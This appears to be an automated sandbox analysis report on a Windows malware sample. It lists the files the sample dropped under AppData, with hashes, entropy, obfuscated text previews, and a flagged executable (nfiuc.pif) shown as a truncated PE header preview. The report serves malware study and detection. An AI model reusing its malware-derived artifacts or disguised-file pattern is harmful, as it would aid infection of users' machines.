Preview:	7d63I6Kx6MWfF2R6363p5n12Qw17W7292j44c8Q780uaFPoH8755GKJ7B778146Q6q617c7VIZ87YSE43f1NJ2M4FDkF6086430QYyZk433530EdYQ6s3Na1v4R09U90VK99j8774Z758..o51VdSPs112l17t33a1R87WgM6fvhZC80Q2FtAKZXJx891290I7..n37q5Ttm1R5xiQGRUNfF67052E8DX7z696049p77Q05pPY0sVZiR93ycPb639X5n1oS4..Kzw757vR99ipV392yUhCe8ax6T5UaS05xSq3bd3572C1H077g35hLq45xB0s4IL5RFs71y3iG9w1rL3..567q201p6P7sRd35821mQ782z670T6p5xdbzd3bM02d42F3mC54R2928117MLe74kd1ohZxJg87x969uup8e6499m10..2TJ315B5hh7f5Pe8j0x3mINy92j6566UF9142Ae0ML5h6M782ZGVj88Y9C3a9gT2wh57g3k3U25461b3T995ySIvuG04200AS7af71sX1965SS7U6bT4Az049hm9L4ZD75..

C:\Users\user\AppData\Roaming\22032878\fbekvf.mp3 Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	532
Entropy (8bit):	5.50565576271383
Encrypted:	false
SSDEEP:	12:b9hcDkVJKY8kVT8IYSIDnwYghb1ViaEADd51M5KeXJ:HcQzKnOFIxgp1VWAhHs
MD5:	2950A51EBF5FD41C3B90A189699A5DED
SHA1:	1E19E946CC40011B7151C211436315D3701BC971
SHA-256:	E1550F370DC76E180F02AA73DCF1D908E14CC10B4ABA8AB584BBCB123D4DF7A7
SHA-512:	AF304E6670515BC3CF737A28778361452DF8993E39EF59B10E13C8AD67BD3A704B38F1FFBE327D20F20DAA23F5AEE08B91BA46D8B5168DF5E68AC73450A2079D
Malicious:	false
Preview:	3Z3l845782I..h0Pf96401dEPDd083891vz350l8881Y2X0Ol88SG7ZSTu360459x1Vshf4K324bJf3Qpj3aoVp15M49lnhy0LA5..R664qeXfw44t86N36m550nY53OLMYQ7Q6R336a4tr8I54VCq5..c8275yo6863a5I22dtzK26ZOhu8i4974m7C8S62D..96iKm99677CG8I9909EO975YtvzLR592l5b714J9e0Mr41Vb599KMRrU5J58cEIVQ0W40zFw2d105dqaUI0D6E253dEZ4bB6W3A1j6Jn227JN7T4E77wF2D19U7ees26A8h54409nTadg68u..8m7n43Qg3Tg0gvb2L7G8vM075wz8V2an4Bj2bS2..OG7Wr8fM79F8w4s2Y0IseXqQ01g4534445O86CLA62A671uWfG7uq3q08NDC7S25D1n8t39t55A1oWzAjZl46hGt70p4c2RIUE9224e5dfUBVg877WiV6cs5G38Z40c8mqs6Iu0394i815201y31..

C:\Users\user\AppData\Roaming\22032878\kuodio.log Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	583
Entropy (8bit):	5.52430412603607
Encrypted:	false
SSDEEP:	12:UFz4xSMqGXlcJ9znBM5GS8DVmT4k1tHSZUiJBFvgWAzNfiMiUIzRNAI:a4xB8pBM5GvJmT4OQf5AxqMiUIzROI
MD5:	604A9356E128FD0B739F8F9A195BFA14
SHA1:	B670B7377CEFE687441689BBF18390AC011BB3B3
SHA-256:	524E4FE024A8E1F68FA315625B6CDCDCB4E243F431F328BD48D67977276F0904
SHA-512:	0D0F5191CCF4691F1D3FF558D551796695B13D3F6AF8CA72108F131F8FC96FD1E01F3A73595F824C6B5FCA605B3B304434D045BCE6872EDF633D840A5668E12C
Malicious:	false
Preview:	36JlgAv6Rq72ii5..2Qd31t1432K660t1qe3304KVe0M5xwd695u3cq1I9hb5p71TIfQtH0aY370q03025VeTs48OD6T4vG4QOIuT5q74bzTY4Q00l7..B0LZ251852l2M289vQEz0BvH7EFqOX03C26BoAV0l9nk9VRHXz37796A2uiNO8SpS2XBE..57582U4e71GNuDI8w7119C193V8U2..6lf4510Y0V71sw7H4kEs2Ey220f8gV7xcG19n3237EH309lkg99KpmfLh3Lnn19Wv3Rt52Z5U6583p3gPCvR82WGST..Rcl5U574qJn50Z5F7xqPx5b7T921ZC090983QEV2RMz1ud086bZ6E13T4DH3wfOtM3U4324s4J37OrWefsY4841gd80Cy4660hV2U0o790L1biQ2fv..RH65M27DMT1pw508876U5122GAR269NE4463n8823D7P2413yU868vkYhgspc34ZNs39p4I135C5Ts8809u6G8a5y4sVW5tPmL0mT39wZ1325p50114pg5HzB265T2441Vca8E33F1fl7L824LE98jjIA6..

C:\Users\user\AppData\Roaming\22032878\lojmm.bin Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	547
Entropy (8bit):	5.499043982252092
Encrypted:	false
SSDEEP:	12:azDCtiP4Wo1NSbTSXzA0XEgds26u5HLBSWfROnQov:gC9WNbsAsETRu5HLBSVQy
MD5:	8FF06F5C040CF50CCD9B8F1121B0384C
SHA1:	82A63F1862169346F605467A45CFEFA8E9E0125A
SHA-256:	C372657ABEEE57A4524E9DC9BC4F464B08D697E313E18C00D18524FF5103F74C
SHA-512:	627644BD0C2AF74F50EFABC4ACDF0E44DEBC6A09E1BFE9644842A70C29BD687BB6DC073A63086E15BC529F7346D62B499FF77D7A348B4E16A1AD13D422A44D62
Malicious:	false
Preview:	48H9326y1g99359d51a933G2kmIq0l935327Hu21tw7YT374e05yIb4384B3834041D5842..49sRS711O5thIv9DN2At2apZ6Rz2q6r2R027W2rGsnm086577x2Sd5UOoG7mSagr08g2fNyC5v1DB7lpAxawq9Mi59RU16M15L0707VkL3E614GE8M4o5P17MzN24TW..Bn2Yp408p7yN..9Uc8IVtl7a2ob88p7T609y4016k227k569A70o3X62ReZ94Gb7lN72or49wC0r8c2ueQP67L4ali7j4uIw5yrUlvb6j0BDQP092g6Gr9Ggac07J8w419LUNLH4X924cp96y7i833c3r8P1v247..4KDe10m4mw8F2h79Ek701gw9Ofb356X941MHR4b6X..36WwJ3on0655Mx5Ohj97b90c90u8r1V53UD1m..53s1zs4502U3840aT76eo8da8..45j0elI113QW079T84NTDc144n1g01AqGkDpWZD4g9Eo52f78BK4184cV594Hta769mzf75K..

C:\Users\user\AppData\Roaming\22032878\lqjmggks.ico Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	485356
Entropy (8bit):	4.382161397132145
Encrypted:	false
SSDEEP:	6144:a0AXl49W0rfr9tfam7kPcC9jdzKGb0KjcrKUIMgZIKmenPRyiwmF:a0AiA0brfaRz9NwZrKUIMgZIKfPRBws
MD5:	C5C34E7F2131E3E95F01D8A2F56DB3B5
SHA1:	2643784461E9B597FAA0981F13D80EC80F121A7B
SHA-256:	A499D02518697CE0191BFDD7D5C9F82936ABDD6252DE0860D4236B1A09BA0EA8
SHA-512:	0CF82DAB5F26B5C66BB79436BA89F8F5F8CABD1F451B8E4205322D250CD2188A7C8F50EA83E12933A0F44DCEFA95C313AB4E05CA1CE5908FA91CFB1B7C7A2F2F
Malicious:	false
Preview:	F96c7V93z3E9xlB6an0f0Jk6dnd2zNdGY9B..x6h13A2N15f7tVIJ4zqwi43g6jqw8O8I35u97jxaK8tw63Sp..U735c8O18zhlx0aj96Yq1K426j3Sv46494QM78Nvo0A6r05Fz5uaE1930..iZ2DD5u2s8j1455t62l9L47t3C7G1s2Fj4b3Pa6f0pIDBLgApwY5FV9WWhJx9uS..t60Na04xd50322077gLdfHK..0dk578OkYOU68EL6Eh51R17l6SI2P40H67kG68i6Q7B0pX3lTM490EYEkq446NXW5kS682..c1bP7Rh9xn56773F93cI9tHD89SQex17S92LZU2vO3w445alG35cX700246H84o5a2924..853cVJzJ9r4e699UC61216RVaZ1gJ19E16L1f17D0460y28CcE6TRT25dvHp4oL933e56Nl4F7U10LVxd37KEysUjA6..S87o05Pk33C921H7S3549sP34583YC..9uWx8pVewI975F714JXQ5t492z6m9cAN4f57a4j5qZ8..7C58T097RzwZnD262ot1JlK0DH1254Z3WjKosk1ycUikw75i744i137NX4N6LT1063NIaVhSrGrH1U65d0J9N47P..5EO7J79J5NiS8C6Pr355l712yM77BjNh176K6067tn7HA5NG23PF..p185Bzr36A3HIRQk81UJchw0fJ54z7qoOWy..h6VJh35O3Gw60s7FlizB955Sk2S83HBoak5r3N29Ne2V78zAO400lo5204Z1..3Pbp00f4S3M8V8421l4PGcS0005AsOz2996dvPY1Xc0o0Kut4SPkH41PboWu1U41Bo04hY3633LVy5dMGS9..K02b76A4BpcFbq6ZSxx6erfv7CDig877e9RpeiYaE5RgpW4k7O8wl6db87O3V2O6Kb11L2i6G2y49mVw5d2e8j6A230..SI4A1Yt67g3zlj2IG3nc7Q1003nQ5Q

C:\Users\user\AppData\Roaming\22032878\nfiuc.pif Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	664816
Entropy (8bit):	6.570907651581873
Encrypted:	false
SSDEEP:	12288:eBzZm7d9AZAYJVB7ii/XAvKxRJBnwvogSJ4M4G4ajl5DGDt2:wcneJVBvXAvwRJdwvZ5ajl5DGR2
MD5:	51663CBA5E7E841A0443112BF5E57049
SHA1:	724815819609CE9AA6674D16C91B2A4202583F4D
SHA-256:	B5B9D67F36E0B504692B8DD25EFA62400F7A50D623DEBC849F42233C0F5319EB
SHA-512:	58EA9D766112650ED84E8243E464FECF378C5BB2F249093965AE65395ADA1CC1152F5DDFDE442B8511D2B943C46A9EE9117718E1AFB4A30DE32DDC7AB7AE1C18
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 19%, Browse Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................1b.....P.)....Q.....y.....i.......}...N......d.....`.....m.....g....Rich............PE..L....%O.........."..................d....... ....@..........................p............@...@.......@.........................T.......p<.......................c................................................... ..D............................text............................... ..`.rdata....... ......................@..@.data...X........h..................@....rsrc...p<.......>...R..............@..@.reloc...u.......v..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\22032878\plee.xl Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	573
Entropy (8bit):	5.499991624458592
Encrypted:	false
SSDEEP:	12:RaHZ6e0gr4O9I7yssHpgd9YTUlIeoFz5z04SM34arY8/T2mkMX6:RaLXW77sJgIYSeM7pjYYRK
MD5:	48FE7BDA227A704E88CE662329BE36E6
SHA1:	EC4BD966BBADA72FFE5E21002DCB5107FCBAB1CE
SHA-256:	692BF4E2325382E6BC40418806CC450FCC3163D861C37C7AE9528A412555BB73
SHA-512:	C0B84C62A25FC3F692A0D79AFE55811EF95657A9476003911C3CA9646DF315371CF11920DA9A8D70CEC6EB34D2D7D919D02211C9634873F6F88161ECC999DB5C
Malicious:	false
Preview:	gQ09Nuz15L7138b..YJ2Zan82YA37Grdz78Of3Oz10x005jT2022l5Ua5gG2QrJ2ra14w203JQ1158531053x6v4Vs29uq7121709f3P89k812l1p3D430TNC543..0Hk4Jm1344Uy623wU1bV94rm27q8ZU2w478AE27GMlCF8a044W9m04GcPM70kQ2Y70wD2r553v..7f608wS80LPx6o8coA1ieRg5eF04u7u6BX08Kla1d36CCo2hO5f28Akc3078ys47o18M..bD3o9988..M10kSF8TK23br20qno5q0AI57R97x4Y4..Y2DP7E9H80h05fS4e3B025E4X76tT0Tb2L475VQz5..4yn83hEZDtbk6Apq7t3937107dI4f6Y8qdw1dC34410F2l125v64U7EXjtG3845GB8gU96k62MRLK..Cml272NiH87k71Q53405Vh9Ue3i08986zx43tvm0k4x4L71RrX9nlzk98fKhSnnx7419pN17H500Zy22Deejp31vxFrl4934XY7kQn5V5aZzY3523OBrzEv525507747wuj87..

C:\Users\user\AppData\Roaming\22032878\poqhjae.xml Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	664
Entropy (8bit):	5.430182663949951
Encrypted:	false
SSDEEP:	12:C20k3o0JVlwOZTiiT8pGF6Z/Ofup7Uf06ahK4SI/UHWTg45qz3VbmbwWESbWKmWA:C2ZjlTJ8pGF+/OmCXas4B/a45qz3VbmK
MD5:	4D6C493CBB6EE4AA30D1D3CACBFAB719
SHA1:	0F3AA84F48D3034831B41DB70B97B543AEF09671
SHA-256:	A9B846EB017D3625686790EFD741EC3E1EE9C9B7F0E589C7DDE8FCD2C60028E7
SHA-512:	0272556F9B46C928A69F94FFE1C2BF99BCEEED5E6901088602413D8D83B1C3BC1A3E7C3472463BCA0E27F308D22B491680A6ED8F5CD8E4AF71A38B997FC6FAA9
Malicious:	false
Preview:	16aOQ7S05hG107W95U98662Y942vJ89E9i87601mCQ85j2eP3F01h0317I5dqh91baH..N8eu6O20569zj7BvtAn3DGMp7IfVvy177741YJ2x3Ul368Trl813f58AV8..LV613Y78a5i31H7zLG3537M05w7dr7157tD680J44X0212061J..2J2070mH1838009vSIDVIed..50Sjbz6638WI499jXiVI281pbcMnFv70f65l9y66c3f79x7H8QAtAW5814783q76Uc7o..k6d7fAGBbJxKJ0I33578R4392d843424S32827pkNn1X3RO21uEx89V1AcNN1EaovR..8XQWFCCbf550Qu38Vfu6a48703Hzv008d34W58K06qiT43XUgSD72Ud763S96382C16x91yb38hN28iFC5405550b638..47C4W66G5fJb11805sXE5ek00O3I821..345i7a0d5WAu7f78a90n..228ii14Y40il2dZX3AL0R0F2X631s67LnX4621RV61ats6L34F1RL69n1970VX046X54210ZuUbY63v6pGDK1FpJGU9BN8S4C7X08QdXAT6300ZZI74O541tl3D3b9rPZ7485kb77K67omMl73Xm7w8n710nUSSwF76KqU318..

C:\Users\user\AppData\Roaming\22032878\rkevqw.txt Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	559
Entropy (8bit):	5.522582367791629
Encrypted:	false
SSDEEP:	12:TpFIKVNQKFMX8Ex1fP68zDARMrOtMdrtL+uy+ahky:TpOK79F4hDfLzKMr8kp+gby
MD5:	A183CDFA1098B2EC3E6B8E310FCD0BF5
SHA1:	679C458CACFA7E8B54ED146CC73402CA64D79FD3
SHA-256:	A3D37F1F39C36630F742778251270704AD1B5C5F7F688778920F29E82A51C631
SHA-512:	AF9AA237367FCAA8ECD571D533292C74D6F05C2ABA741DB89BAF7F0AE72286A186D7D6D37BE7B6F1EA0D060974492CF05FFAD37F0DEE0C0A39EC883CD679160C
Malicious:	false
Preview:	57Zpt22j03pkV4rC11kjZ90R71Iy856B0ZR1iiEbTXH8bSudM305RGB8W0BRrA578VI47313k118uFLj4440jSF9z395L816543A25K4s6JM78r9MXf298RaGY0TIWN56..80347VB8y3zIwm45F36..85QK3Id100C..r9407721835c9M044P817GrN3j59h5221Xv..PFn398K4t7l8s47f591W72q7uSiz0J7MeLh505v00J5tAPY988jlL..5Q77R1r6xSkl75093cJhjrq3Ne3473o8mcaSuVR97363D8euan5Ud010NDZ3ifor3j63Y0064Nh47GJA2y2tHm94Hz4d5E..37Q8ipe037Z52u58MPu84056i0Z99yg0W679r2ar9V54HY0nQ9759WYWlD5uZ56715pTbLLb0H5O4r1Rx99ahigA2..4Ku3i2zEXBZ8K6Q3Gy7YZ5MeyK1g64Z9QE2FUf96Lkr87QgTg03UA9U5F6Y3w82N7o8a6wMJ15xUum615837zN99R7d5o267gFjrk3E0f0218ZMIQ..

C:\Users\user\AppData\Roaming\22032878\rnpxxre.icm Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	550
Entropy (8bit):	5.478420245483416
Encrypted:	false
SSDEEP:	12:jydRJFLqz6Bs+nww++yOqAdBC8+BBuFGU9u904k1Rz3i+m:wRJi2s9FBkBC3et4k3Pm
MD5:	4889DDFC0C45FAB0B2E44FB4A306E9A6
SHA1:	1183C9BFDC5422E4EBCE88C19B6087808A4B312B
SHA-256:	CBFD442D9A41B4746AC363EF4F26DB832E928E76353834BC0C5FFCB77832EBFF
SHA-512:	F61537698859E19576FA01BA0C2C13F12BE93C4A942BBC5737C2DE2BD176428A98B6375FACDB76BEA29CDC5A2BDA02350A6571EBD7D8E0C4F45EE1FE33218AD7
Malicious:	false
Preview:	29o29u2HX8CpS37Cv65aFR5QU15F93256XY1z0pCC4Lh03Zk9H85dm1z2Qu..17e2s5wIa3O9TPN23YxH21cYuWpRwB3Nd4T5l6311x035k29EYc8r28O7q5q38Sh0J5b..F7vnT2K9OlGxw..L138QD0Q52pV1851PUB1280KL4Z913738Q48o4B70898mKe29Vw0pK89uI7537vC9771r534iH93tb7NY8Q5k6hm88Uxy7G05e1P224yw7BgitOyRkaV263J3z3sNP4..Mx36gL0g1p3VC8Zk760t87Iy4kHO08644jag95v4v3583c35948u128W39T067796E..24HeXjTr171ULl8D7ct4015zX1e6548h9X8t4410N0SU9uNc51R13bgR4P57WAzE260Is112T060549140023lx74wHr6rX5r8t8pYS30yr3972B88A02186oi959R5122..75Cs97YR70Lz0495G6524Uq979s1as7pp8lYE6dGlyx9Mn3tz1A5j6q9F6qNA7okZqY0jW7rm..

C:\Users\user\AppData\Roaming\22032878\tejpjdone.dat Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.456583021020405
Encrypted:	false
SSDEEP:	12:mbAILbQBRciICyX7Zsc0XyvH80SnKuzExcRkRaS1ax3eQgDGwxLJ15:ILbHidyXWc0XA8pnXzQcuR9U3e7dJ15
MD5:	53EAE0D6898062E81046FDD92DD7912A
SHA1:	D4CAA9D47FA27F439D22A45A6B75E53274430DEE
SHA-256:	323B98DCB2B894092EC267B5616A5D05CAB4F2795BCB8333E2A7163252BA13EB
SHA-512:	F47AB84732E7482EA10FFF850C4578348F21A98F624A8594E15F8DFE3BB7579ADE91BB20674D4DC490E78A373E870A7A0A468A47E6CA2FD71BEA254AA5DA51D4
Malicious:	false
Preview:	13028J9C2G09RW3H50qg4QL110U26fMTvVfM6886P5A11..m1749Hp9oagD7805M9619BU..7h974G842ZNo18aV9ic1W21ZB0NY8yX2M024A4E4qLJy5BJ04Em6yx164f12LG5A1j1vv328fQ5r5Jb4g5j9750E7R9XYaeWU247OS6plc1679VG..xy1e44eTS43u52T14587mI4MRpB4o00f7uWF957sqOCeXad237460u26xkT9Z25RS0IFLGA01CX8q8TVQa638y1khcM32RQ97375F1X4Z8sH9..cHE4S90v20qD84Z6rO340Nvr4R43CTuw6wA633u52781rbo447yPC7AOh1M496Z930Drp9NJEn24T1303D553LL43Svk64826Dos94gzDr387063iB84269gZ91qkFlyF881U38w5Mzj09..Eb0g371FK3M7019N886q7637e7D60X468YY9067mXDt3x223p9wY78Y3C6167s8Owr675w4NUt199..

C:\Users\user\AppData\Roaming\22032878\txum.exe Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	575
Entropy (8bit):	5.526129708681296
Encrypted:	false
SSDEEP:	12:nGXtVjd0Wk1KObRrHnf82p8Skg8iniHqeJsLKsnTkYO+H32GRUZ9cEuBUfh:nGXtVjdsbFf85g8iniKeyL5O+TRUZylo
MD5:	F4405478D69CB8C97303399BA69354C4
SHA1:	67555AE21178B5233AC5A3582AF6AE163F4CB531
SHA-256:	E2173B7F096A160EB049F7D31B939CCA386CE7F6C1A3BCE6BFAF3BE44F026DFE
SHA-512:	357B87044E733F99736463444B79E055D06E8C407B1E7C2E74C49CDB9593AFF98B7E2A193896D62975C1FF7D9860792AA74D4A49FFE2019120DF8B758A6BEFCC
Malicious:	false
Preview:	JUZa1580659YZ7M5FQ7P6a7x527M4924e6J6811h442V92Df37h8g02wNo69o3..5636yDLuc..660Qg25n1e53z5C442tTAEbg6s5E4NRW807UT181QSYf56jUi4R7tcDeLa627NH7324i8A83KIdz4o3eP..8t7388Urs28F8xer3m8o72144ehxzzEI3lmXw794BypO02811w8J63FDA49wSL1570P31360cy3x89K10D6fa6w86g0y21n8PX0CzJp1o13Jreu2PapIn0217ndKY1Z2ig8P35ub6Uj7It94MdQX83K..fE512f4sqhdkf7rIJ1a20G1C4Ln16R5oQ02mP15195609EC0Qh24M0Z75s7uw431658P9EY58Q6UK95P1Kg31gtT8946CntdaT..61vp62wX66oW2F82BNW8Dp7u7r9f1lS236i1TYTr57K112Q45Wz5cnqM0j09m6txK8407c4E7..34B28NLfbMWO7p299cs45t41Drc65Exw8sA0JGO0F936c24Oc323JV04WLh249nsZl71azwj4W537xnnlm8AZm3..

C:\Users\user\AppData\Roaming\22032878\ucjondx.exe Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	503
Entropy (8bit):	5.411685378015985
Encrypted:	false
SSDEEP:	12:CvzQprZI1VRsjCbqfR7G8WJyku1aV5nqfXKbYFrdNXYIX7Y:BcQjCb6c8aEaVpqyIBlLY
MD5:	C75A9014ED721FB41E33021171F17395
SHA1:	BEDAC4FCB9E9C70764A4E977597A2CE026C72778
SHA-256:	7725496DA1E6CD5A0EC7B39748D1B4559D2DB1D100813B920E8790BE47985088
SHA-512:	4A07C4C7D497BB5E33B743D3776AF0B7732A01455320741E83E97928D4ED383D984DBD782DC94B703B43DFF8BFDFBFEF01EACAF2B515F66912F65B28DA48A3BE
Malicious:	false
Preview:	OjF0669rS6fen4M39F94e9iw67g7mEWRAk9Tb5P26f9S3e3mBy5lsq68dT7mwn5ma3417b3662U41231wA44bu7877Uin1949z17s5D..0T306t43e2r8OTzMYV3574iB0981O4uq86Vg8f3mbA..tX41o4j3DcDQ1F9hn1A0l7711Pd79kJ9U1H0E3C8A37hu1Qy33iu2S3tE56..5J5R2bM9Re6dJ0d6F87o43n6346fW..N4E7x8336ZVg..q4bV1..v5QF1wTW6c058898vGUG60836Y7594701m9xA424DA6g9w3e4Nv1508z85VM0o9XA34XQHe514m..0ohe6u8qnBWb0p3b9524775281feeV592o0612HB6265mX5q..D0B7I..7w6BO10sQpfj7b58X647n648Xvo15i4Jd4018QY31Gqbs172B906y168EE48I81018Je8jK6YQ94gUu35B71g38..6cRwm0s7r6Bg8D4G..

C:\Users\user\AppData\Roaming\22032878\vhcpj.log Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	566
Entropy (8bit):	5.516316428481893
Encrypted:	false
SSDEEP:	12:8uYNnG1JvdT5nhK7hkzwm9nSWI8xrW6vQCM6YHGD1i:Jq0vdT5hK7h0JBxrW+Qf6YHs1i
MD5:	158639DFE28B8CDD93F5F1A78B87EA56
SHA1:	09119918EBE955BEC813B17C2FB74ECCB5B3FB0F
SHA-256:	9BB7FFEDC07EF18132CB3EDB065DCAE945A4A139BE62479F19895368521211C2
SHA-512:	C195EAEC103492B36A01777FD49FBC0A4E8AB0571D64F423E5F96A96705158059D1523349092B2F3A09305F680876E3216DA52341CEB25028EC9E88333132803
Malicious:	false
Preview:	4ES4z22SfQiv5u64jL4a8dg6kh81851xEAFU5w173K58nAW03ZV9O19..5cbES03Mr07RZ5977Fa19LSk220m359wz99a7m4pU84743h2554mx9U8Xa4BLlzVKF1h5442u9u3W4Jc1Otm88R125DtBJ5WT9..338Sf4..M9Ndr1k7ZMeZ8uGm2o8Dgp39C6q3Fl2xLx4qj1Yy0r1R7tREy486729639560A6Z3CWI4fC73x54..H8d0241aK4xKtV4J00VOz1am5W69ysy5423Cu3r1ahD9Zo79h10si5lQbM26vv6dF9Fa157W63l..x9aC2FDmG..5YZls4600290SM56yDN5SSv1QO02L3Ac678N2c3DF2ht49146t6LO3j4uX4065f2..gN4GApe0vuF51Mv4Z4N14144M16y4c775pw10n3n61..NG8L3l692i44cG762966ck09zfkhm28c82B3a02wSQwb8zZN3RoNd68tO2A8740090O2F2E59Rf23W14njTmA529o2X2T14cILbBkv30g7wX0ai2Cb87j37p26t..

C:\Users\user\AppData\Roaming\22032878\vmwkpdfbe.xls Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	565
Entropy (8bit):	5.5416700480025565
Encrypted:	false
SSDEEP:	12:PyF+p25R4Xfas62k++wQjd0twFkWTU/jljaOcLNGydO3hLxdI6S27DxR01+:Ku2AH62k+5Qh0tmkWQwLNGOO3uo7DxRZ
MD5:	45ADEFB7B7309472FAE812C9004915E3
SHA1:	78BA0C1D1BC8C15B4E8175DC4719C32F4C5E3E5A
SHA-256:	83440C3453A12458150A99C915DD1D7DCF5F256B44FEC3D8625C5D836B9BBF3A
SHA-512:	AEC3D4C8C9909AD4F5692B24B1A6D6FE50310CE53B25CF7F9EFF8CC316CCFB948B90E78B4AD542A4F1FD7F81E5996AF7B144F48843C747B95F779897C38ABB62
Malicious:	false
Preview:	565P0p5J86fU934u0T9u8My8c5rxe47qH7L53N4296gy26W5180i12226S9qw18eaI8825y57f5U53..E3r3xhnTN2bMH8hdb35DLaRSq3f0Ni07q5XV2HTq872dHKU114X8W35el8LT78w30aM41P0KeORV6cvRm6..E3Xw9YWDflrUBDwbTI4vv1s3f25r8PwM66rJPV1UX56469zNQ7012..8LmM575R708SKi1nuH8uz408rFq92f8ubc8M7Ao2GWo173vy1r937XSi74619Y2hYm37yX551P3PaR06Sn36GIzbrJ8bJuaXwr484T8pUlf6qD55e50G1T31548Uy7KxS065OIhn6GItwPQ3x12q9EUYmy8L3k2951hA9h04v23868..637QC48z17TV1X..7lRcT3mQ584Ts5z64TA5w6n6d4N4..cy0N5X6p752D9RRrm78731O0L7E5y3B..V49iQ9240i1I9E31q9g4VKcA2NX1P112xJ9488yWKcISM5Xe37z0Rau33r56k159jK07QrMtos0Z7Y0r24QK3g0aM..

C:\Users\user\AppData\Roaming\22032878\vxhqol.jpg Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	5.436588232072642
Encrypted:	false
SSDEEP:	12:i9Dkb1roXOYZ0dVKXkjQH0ygqHi9K0QOqzl:2kNYZkVKU0H0ygqC9K0bWl
MD5:	854039E8892A6AF3BB237C8C5FDBEDA2
SHA1:	EEC1068497F4C8C178BB4E273433646FF0AB4DD4
SHA-256:	7A69FB54E9B5F631D1C7878ABD4A1EDA15AAAC43F32828DEE31F35F89298143B
SHA-512:	71A415DEA79742A177AF1DF0D856F017639216373862510F1089FA8A049056D528FDF2942C79089396B0AE28A3E48B24523BBCDC4A0AEB188C4DAC85655028AA
Malicious:	false
Preview:	JB48R3FouI8PdP243s669600ssmcx39a2O2D78..15T664P0C9W7ML7127J9g1kgTz26iD89LTrDQ7sdD353Z1O45T58l5o75O6cfiunZlc92jd05UBYIvFDS2mhOMI388S448ap5Q9v6y837K0EU68C5U0145M8wtD20s61Qa..9156F8N8j0Gh9208692JP673U92m9F..P2AX1ZA5s505D47N55v0Yw4Di50kMB808930b2y57fN1s1J1ta4cMyp2993pe4JoX10fDwib18cTyC0V4x9Z9mq1..360Up10hQMX8N082TO80s0X4e3Hno3oi427857Oq3s9D2267C995IzekVRcoC432yUfo82vH1p1bc5cs5t2aSv12s48jI683szs203Y34IGd..F81837q9u694Lu191oa5kZ875U0156435HO5g1..461854Jd45946BHq1X74271682VO0k02mKY6Y5b4U59FgV40H8204h90KS..

C:\Users\user\AppData\Roaming\22032878\wawopnh.xml Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	542
Entropy (8bit):	5.435844680914607
Encrypted:	false
SSDEEP:	12:f0NCiBAoKCMuCJME3Khwu2Tf5N10v7sTbvDflrhv/I/LjWNkRn:2lotMEF5XTbjdtIPWNs
MD5:	CA3375B40AE610E80B80F479BCD7CA79
SHA1:	188BBEE5E1F86DA84AC17AF971CAC635C6447BB8
SHA-256:	65C7147B661E9B75ECFFF54706E894AA25E6399E7EF1C8DFE9E56B53643C425F
SHA-512:	1725511DD6135BC890D4FDC33D585254D884A2242C9EA314A512DDD42AF3321326EE25A00BBC2D72637ECDC85D512B4A808D8A38C920408A9A438D55254755AE
Malicious:	false
Preview:	69w10kQ29VC35732..0ix02sq0wJ1O557f..H54QGEb2Nnn241862N9I06CLV70J7010gB61120R543o80Ox03mEe..w323043CXjsYF89sl0..2N65z7i40827Ymt3GC7b5002X26tvV43l9x2925r3Dvv7eVR51kzmC6..84Xi8C8w2I917q11yz80U41096UXP340O3bQ1E5odFLPUQN13Oi973Z4IGkcG2..765F48DjtHtpq463e7Klef6t42c2f13W96..5zbr85X25Pj8wd124mY89nxU244m2CAJs6QzO6823xr7J1pi99Mt137682UG6JX2b1988Y02N39220S..9Y5pUwQ06V57zE8H9jx63g13u2lE1CPNK6kpp8..3be4V63pT0R23U287A95251g8H6P86786hV2Q47sU8W2K8J18TQbYKX671O0j0I81..o2hz730w4Wcu664u2J973v1yrRq15961C403213ZS4ttzonOnW58CvwvI880QKUMrye32x448yCQSCxE68J0..

C:\Users\user\AppData\Roaming\22032878\xaso.fhr Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	data
Category:	dropped
Size (bytes):	89158036
Entropy (8bit):	7.047537320550963
Encrypted:	false
